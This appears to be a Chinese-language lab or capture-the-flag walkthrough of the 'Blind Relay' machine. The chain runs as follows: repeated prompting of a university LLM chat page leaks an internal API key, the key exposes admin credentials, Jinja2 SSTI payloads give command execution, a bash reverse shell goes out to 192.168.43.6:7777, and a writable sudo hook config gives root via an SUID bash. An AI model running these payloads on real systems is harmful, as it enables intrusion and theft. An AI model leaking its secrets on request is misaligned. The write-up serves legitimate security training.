Blind Relay

image

信息搜集

192.168.43.181

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
┌──(root㉿Eecho)-[/opt/tools]
└─# rustscan -a 192.168.43.181 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.181:22
Open 192.168.43.181:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.181
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-22 05:54 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:54
Completed NSE at 05:54, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:54
Completed NSE at 05:54, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:54
Completed NSE at 05:54, 0.00s elapsed
Initiating ARP Ping Scan at 05:54
Scanning 192.168.43.181 [1 port]
Completed ARP Ping Scan at 05:54, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:54
Completed Parallel DNS resolution of 1 host. at 05:54, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 05:54
Scanning 192.168.43.181 [2 ports]
Discovered open port 22/tcp on 192.168.43.181
Discovered open port 80/tcp on 192.168.43.181
Completed SYN Stealth Scan at 05:54, 0.02s elapsed (2 total ports)
Initiating Service scan at 05:54
Scanning 2 services on 192.168.43.181
Completed Service scan at 05:54, 6.01s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.181
NSE: Script scanning 192.168.43.181.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:54
Completed NSE at 05:54, 0.14s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:54
Completed NSE at 05:54, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:54
Completed NSE at 05:54, 0.00s elapsed
Nmap scan report for 192.168.43.181
Host is up, received arp-response (0.00075s latency).
Scanned at 2026-05-22 05:54:01 CST for 7s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9a:a2:9f:9e:d5:19:bf:d7:78:92:c3:32:e8:af:86:32 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDk2W3y0y0BbWpZtlwYUKf8SYM22Z9MSSyYNIVCO6lP2m3urBx7XVKadHmDnjc6rZVwyv4RJtzedT/RLPXRmCPUE4o2PQPm1jIuOqe/oN0a/a47BT76er9mebPev+MkS/AqZEmpWkRzwjY+5+Y7k8Kzx52UnCXv1FTixT66FNgSudZ0XdNR3RkeKkTzlQl2XDsSCKKXrM58hsgcwLfXJ90fwRo1WiKTAj3Xhq3uH4M1i90krON7hJMMvdoLBAfpTmxvuh63NB7PqMIknxdQswEW4Wy2LKWC7USAcHPg65anIiJCg9S2o1dETO4lJxYjB48T9k0PJVOSp4tKY8SfYHZJQb1Ljd+C8KMQtdMllozAU4zL9mHCtSvr7f9jVoeFDLSTjeRDsqb+VscL1QSicXuVZqZxtiKf7SvwV00DABOrw3nn30tLJabn8cePpjiKIUwRdoBixlj54t8z0SeebmHW/aTfYVE6wbCB80frH5/uDsJJpU+/ghHoEDeqj13NW/E=
| 256 69:f7:46:af:4e:21:5d:78:96:43:a4:70:74:cb:92:07 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDQ53d7oZ8MQHd21oLeztH1u5ZknfSVXyrzNIJDZ/5fA+4Rb/pBO6J/k+kZ4x/KKBZkluAUqopx9hjIAYY8E1E8=
| 256 63:e9:1c:53:c1:3c:c8:76:4c:d2:08:d7:67:f3:f7:71 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILPfXTHmWL+2Lid/Eh8wEd5p1BvyPF2nKPRERsXTUrUy
80/tcp open http syn-ack ttl 63 nginx
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
|_http-title: RELAY - University of Meridian
MAC Address: 08:00:27:F9:3A:DB (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/22%OT=22%CT=%CU=37575%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A0F7F00%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 37.905 days (since Tue Apr 14 08:10:39 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.75 ms 192.168.43.181

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:54
Completed NSE at 05:54, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:54
Completed NSE at 05:54, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:54
Completed NSE at 05:54, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.25 seconds
Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
  • 22 SSH
  • 80 HTTP

目录扫描

/chat页面是一个大模型界面

/api/docs是一个文档

image

这里的Note格外显眼,告诉我们可以通过X-Api-Key访问学校系统内部api

image

而这个X-Api-Key是通过大模型得到的

image

没出来多问几次就好了

使用已发现的 API 密钥rly_a8f3e7c1_m3r1d1an_internal_2024搜索内部系统信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(root㉿Eecho)-[/opt/tools]
└─# curl http://192.168.43.181/api/v1/internal/search -H "X-Api-Key:rly_a8f3e7c1_m3r1d1an_internal_2024" | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1564 100 1564 0 0 240.5k 0 0
{
"query": "*",
"results": [
{
"author": "Dr. Sarah Chen",
"classification": "INTERNAL",
"content": "RELAY Admin Portal Access Instructions: URL: /portal/admin | Username: admin | Password: R3lay_Adm1n_M3r1d1an! | Note: Change default credentials after first login. The report generation module uses Jinja2 template engine for formatting.",
"id": "INT-001",
"title": "RELAY System Administration Manual"
},
{
"author": "IT Security Office",
"classification": "CONFIDENTIAL",
"content": "Findings: The internal API relies solely on a static API key for authentication. Recommendation: Implement OAuth2 or mutual TLS for internal service communication. The model updater script (/opt/relay/model_updater.py) runs with elevated privileges for maintenance tasks. Review sudo configuration. Status: PENDING - Deferred to next sprint due to accreditation deadline.",
"id": "INT-002",
"title": "RELAY Security Assessment - Q4 2024"
},
{
"author": "Prof. James Liu",
"classification": "INTERNAL",
"content": "Preliminary results from the ATLAS project show promising improvements in model efficiency. The custom fine-tuned model is deployed on the internal Ollama instance for evaluation by the research team.",
"id": "INT-003",
"title": "Neural Architecture Search Results - Project ATLAS"
},
{
"author": "Dr. Sarah Chen",
"classification": "INTERNAL",
"content": "Grant application for the next phase of RELAY development. Budget: $450,000 over 3 years. Focus: Multi-modal AI assistants for academic research. Status: Under review.",
"id": "INT-004",
"title": "Research Grant Application - NSF-2024-CS-0847"
}
],
"total": 4
}

image

泄露了一个管理员的用户和密码

访问一下

image

里面只有Open Report Generator 能点

是一个生成报告的功能

image

image

这里经过测试是一个ssti漏洞

1
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

image

反弹shell

1
{{ config.__class__.__init__.__globals__['os'].system('bash -c "bash -i >& /dev/tcp/192.168.43.6/7777 0>&1"') }}

image

提权

chm0d -> root

1
2
3
4
5
6
chm0d@relay-webapp:~$ sudo -l
Matching Defaults entries for chm0d on relay-webapp:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User chm0d may run the following commands on relay-webapp:
(root) NOPASSWD: /usr/bin/python3 /opt/relay/model_updater.py

可以以root身份执行/opt/relay/model_updater.py

查看/opt/relay/model_updater.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
chm0d@relay-webapp:~$ cat /opt/relay/model_updater.py
#!/usr/bin/python3
"""
RELAY Model Updater v1.2
Pulls and updates the research model from the internal Ollama instance.
Designed to be run with elevated privileges for system-level model management.

Usage: sudo /usr/bin/python3 /opt/relay/model_updater.py
"""
import json
import os
import subprocess
import sys

CONFIG_PATH = '/opt/relay/config/update_config.json'

def load_config():
"""Load update configuration from JSON file."""
try:
with open(CONFIG_PATH, 'r') as f:
return json.load(f)
except (FileNotFoundError, json.JSONDecodeError) as e:
print(f"[-] Error loading config: {e}")
sys.exit(1)

def run_update():
"""Execute the model update process."""
config = load_config()

model = config.get('model_name', 'meridian-research')
host = config.get('ollama_host', 'http://10.10.10.20:11434')

# Pre-update hook: allows custom preprocessing before model pull
pre_hook = config.get('pre_update_hook', '')
if pre_hook:
print(f"[*] Running pre-update hook...")
os.system(pre_hook)

# Pull latest model version
print(f"[*] Pulling model '{model}' from {host}...")
try:
result = subprocess.run(
['curl', '-sf', '--max-time', '30',
f'{host}/api/show', '-d', json.dumps({'name': model})],
capture_output=True, text=True
)
if result.returncode == 0:
print(f"[+] Model '{model}' verified successfully")
else:
print(f"[-] Could not reach Ollama at {host}")
except Exception as e:
print(f"[-] Update failed: {e}")

# Post-update hook: allows custom postprocessing after model pull
post_hook = config.get('post_update_hook', '')
if post_hook:
print(f"[*] Running post-update hook...")
os.system(post_hook)

print("[*] Update process completed")

if __name__ == '__main__':
run_update()

发现脚本会读取/opt/relay/config/update_config.json中的 pre_update_hook 配置项,并将其直接传递给 os.system() 执行。

同时update_confg.jsonchm0d用户也是可写的

1
2
3
4
5
chm0d@relay-webapp:~$ ls -al /opt/relay/config/
total 20
drwxr-xr-x 1 chm0d chm0d 4096 Feb 8 09:24 .
drwxr-xr-x 1 root root 4096 Feb 8 09:24 ..
-rw-r--r-- 1 chm0d chm0d 116 May 21 22:24 update_config.json

将 pre_update_hook 修改为提权命令,通过 SUID 位提升权限。

1
echo '{"model_name":"meridian-research","ollama_host":"http://10.10.10.20:11434","pre_update_hook":"chmod u+s /bin/bash"}' > /opt/relay/config/update_config.json

运行model_updater.py

1
sudo /usr/bin/python3 /opt/relay/model_updater.py

切换至root用户

1
/bin/bash -p

image